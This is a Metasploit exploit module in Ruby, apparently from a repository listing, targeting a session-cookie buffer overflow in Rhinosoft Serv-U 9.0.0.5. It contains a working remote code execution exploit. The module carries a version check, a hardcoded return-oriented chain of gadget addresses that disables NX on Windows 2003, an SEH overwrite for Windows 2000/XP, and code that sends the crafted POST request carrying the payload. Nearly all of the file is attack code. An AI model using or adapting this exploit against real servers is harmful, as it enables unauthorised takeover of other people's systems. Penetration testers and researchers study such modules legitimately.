cgranleese-r7
135 lines
3.8 KiB
Ruby
135 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.
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Sending a specially crafted POST request with an overly long session cookie
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string, an attacker may be able to execute arbitrary code.
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},
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'Author' => [
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'Nikolas Rangos <nikolaos[at]rangos.de>',
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'M.Yanagishita <megumi1990[at]gmail.com>',
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'jduck'
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2009-4006' ], # unsure
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[ 'OSVDB', '59772' ],
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[ 'URL', 'http://rangos.de/ServU-ADV.txt' ]
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],
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'DefaultOptions' => {
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' => {
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# 'Space' => 512,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
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'StackAdjustment' => -4096,
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},
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'Platform' => 'win',
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'Targets' => [
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[
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'Windows 2003 SP2 English (NX)',
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{
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'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32
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'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll
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'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll
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'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll
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'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll
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'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll
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}
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],
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[
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'Windows 2000 SP4 and XP SP3 English (SEH)',
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{
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'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll
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}
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],
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],
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'DefaultTarget' => 1,
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'DisclosureDate' => '2009-11-01',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options([ Opt::RPORT(80) ])
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end
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def check
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connect
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sock.put("\r\n\r\n") # works
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res = sock.get_once
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disconnect
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if (res.to_s =~ /Server: Serv-U\/9\.0\.0\.5/)
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return Exploit::CheckCode::Appears
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elsif (res.to_s =~ /Server: Serv-U/)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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# hit end of stack..
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sploit = Rex::Text.rand_text(1000) * 75
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if (target.name =~ /NX/)
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# new SEH handler (point esp into buffer)
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sploit[41000, 4] = [target['FixESP']].pack('V')
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# stack frame to bypass NX
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sploit[52 + 0, 4] = [target['FixESI']].pack('V')
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sploit[52 + 4, 4] = [0x10200].pack('V')
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sploit[52 + 8, 4] = [target['FixEBP']].pack('V')
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sploit[52 + 12, 4] = [target['Ret']].pack('V')
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sploit[52 + 16, 4] = [target['JmpESP']].pack('V')
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sploit[52 + 20, 4] = [target['DisableNX']].pack('V')
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sploit[52 + 24, 2] = "\xeb\x20"
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sploit[52 + 40, payload.encoded.length] = payload.encoded
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else
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seh = generate_seh_record(target.ret)
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sploit[40996, seh.length] = seh
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sploit[41004, payload.encoded.length] = payload.encoded
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end
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req = "POST / HTTP/1.1\r\n"
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req << "Host: #{rhost}:#{rport}\r\n"
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req << "Cookie: Session=_"
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req << sploit.unpack('H*')[0]
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req << "\r\n"
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req << "\r\n";
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connect
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print_status("Trying target #{target.name}..." % target['Ret'])
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sock.put(req)
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select(nil, nil, nil, 1.5)
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handler
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disconnect
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end
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end
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